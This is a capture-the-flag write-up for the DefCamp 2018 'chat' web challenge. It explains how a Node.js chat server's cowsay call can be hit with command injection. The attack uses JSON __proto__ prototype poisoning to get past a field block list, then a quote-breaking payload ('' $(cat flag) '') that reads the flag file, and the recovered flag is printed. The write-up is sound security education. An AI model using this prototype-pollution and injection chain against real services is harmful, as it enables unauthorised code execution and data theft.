DefCamp CTF Qualification 2018 - Write-ups

Information#

CTF#

  • Name : DefCamp CTF Qualification 2018
  • Website : dctf.def.camp
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

211 - chat - Web#

We received a new gig. Our goal is to review this application written in nodejs and see if we can get the flag from this system. Are you up for this?

The target: https://chat.dctfq18.def.camp

The code: chat.zip

Author: Andrei A

This a client/server chat app coded in Node.js (see code at the end).

Let's look at client.js.

1
2
3
4
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}

We understand that we need to connect using two arguments.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ node client.js noraj norajSecretChannel
Logging as noraj on norajSecretChannel
Server [ Default ] says:
noraj registered
Server [ Default ] says:
You joined channel
Server [ norajSecretChannel ] says:
____________________________________
/ User noraj living in No Man`s Land \
\ joined channel /
------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||

A comment warns us that we should keep the channel private, so I understand they will be a way to leak the flag in the channel.

1
socket.emit('join', process.argv[3]);//ps: you should keep your channels private

Now let's look at the server side code.

In helper.js we can see a potential vulnerability.

1
2
3
4
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}

There is a system call with cowsay and message as an argument.

So I had to look for where getAscii was called to see if message is injectable.

Next we go to server.js, getAscii is used on join event:

1
2
3
4
5
6
7
8
9
10
11
12
13
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

So in message there will be u and c that seem to match user name and user country.

I then check in clientManager.js for getUsername and getCountry to be sure.

1
2
3
4
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
1
2
3
getCountry: function (client) {
return this.clients[client.id].u.country;
},

So it sounded me very easy, I modified my client.js to add a user country:

1
2
3
4
var inputUser = {
name: process.argv[2],
country: "Test country",
};

But I received Invalid settings. from the server.

Let's look at server side code again.

In server.js we see a function validUser is called when we register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))

if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}

if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}

clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});

Let's see if we can bypass that (validUser in helper.js).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}

var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];

if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}

return true;
},

They used a blacklist, block array lists all user attributes that are blocked. So the only one we can provide when registering is name. But name can only contains alphanumeric characters because of the following regex /^[a-z0-9]+$/gi. This will be hard to make command injection with only alphanumeric character.

In message we can only control name or country so there must be a way.

Going back to the register event in server.js, we can see user input is processed like that:

1
newUser = helper.clone(JSON.parse(inUser))

Some months ago I developed a project using a JSON lib, and the lib author was warning of the insecurity of the parse method. So I thought:

Maybe there is a vulnerability in this JSON lib too, and it is dangerous to put unfiltred user input directly in the parse method.

So I searched for Node.js JSON.parse vulnerability and I found this article: JavaScript Prototype Poisoning Vulnerabilities in the Wild.

In this nice article we can read how to override an object attribute in javascript by providing __proto__ property to the payload read by JSON.parse.

country is not filtered but we can't create it, so we will use this prototype poisoning to bypass the validUser function.

But as said in the article:

JSON.parse(), when passed properly formed JSON, will always produce plain JavaScript objects with Object.prototype as their prototype, even in the depths of a deeply nested object.

This means that even if __proto__ appears in the JSON, this will produce a new property on the object called __proto__ rather than setting the object's prototype, as it ordinarily would in JavaScript.

So we can't provide the payload using an object like this:

1
2
3
4
var inputUser = {
name: process.argv[2],
__proto__: "whomai"
};

We need to send the JSON as a string directly and not to pass it trough JSON.stringify anymore else it will clear __proto__ but that is no a problem to bypass it as it is done client-side:

1
2
inputUser = `{"name": "noraj", "__proto__": {"country": "' $(cat flag) '"}}`;
socket.emit('register', inputUser);

See why it is important:

1
2
3
4
5
node
> JSON.parse(JSON.stringify({test: "test", __proto__: "proto"}));
{ test: 'test' }
> JSON.parse(`{"test": "test", "__proto__": "proto"}`);
{ test: 'test', __proto__: 'proto' }

You can study more in depth the behavior of JSON.stringify() on MDM web docs.

In fact in the register event, the JSON.parse output is sent as input of helper.clone. In helper.clone the user input is copied as an object and under certain conditions is operating deep-copy from user supplied data to the session user object.

Most deep copying libraries iterate over an object’s own properties, copy the primitives over, and recurse into the own properties that are objects.

JSON.parse will produce an object with a __proto__ property, and the deep-copy helper will copy the country property onto the prototype of newUser. So we bypassed validUser which was preventing to create it directly.

Using this in client.js, we will see $(cat flag) displayed on the cow message.

1
2
inputUser = `{"name": "noraj", "__proto__": {"country": "$(cat flag)"}}`;
socket.emit('register', inputUser);

It worked but the payload was not executed. This is because the message is escaped with simple quote in getAscii.

1
return e.execSync("cowsay '" + message + "'").toString();

To bypass that we only need to surround our payload with simple quotes and spaces.

1
2
inputUser = `{"name": "noraj", "__proto__": {"country": "' $(cat flag) '"}}`;
socket.emit('register', inputUser);

So in the end the server will execute:

1
return e.execSync("cowsay '' $(cat flag) ''").toString();

Let's check that and grab the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ node client.js noraj noraj
Logging as noraj on noraj
Server [ Default ] says:
noraj registered
Server [ Default ] says:
You joined channel
Server [ noraj ] says:
_________________________________________
/ User noraj living in \
| DCTF{DC7AB6B68168974C9D77C9C6B80753D5D1 |
| A5E7099788A6A59CE729A071045A91} joined |
\ channel /
-----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||

Flag: DCTF{DC7AB6B68168974C9D77C9C6B80753D5D1A5E7099788A6A59CE729A071045A91}.

Source code#

Share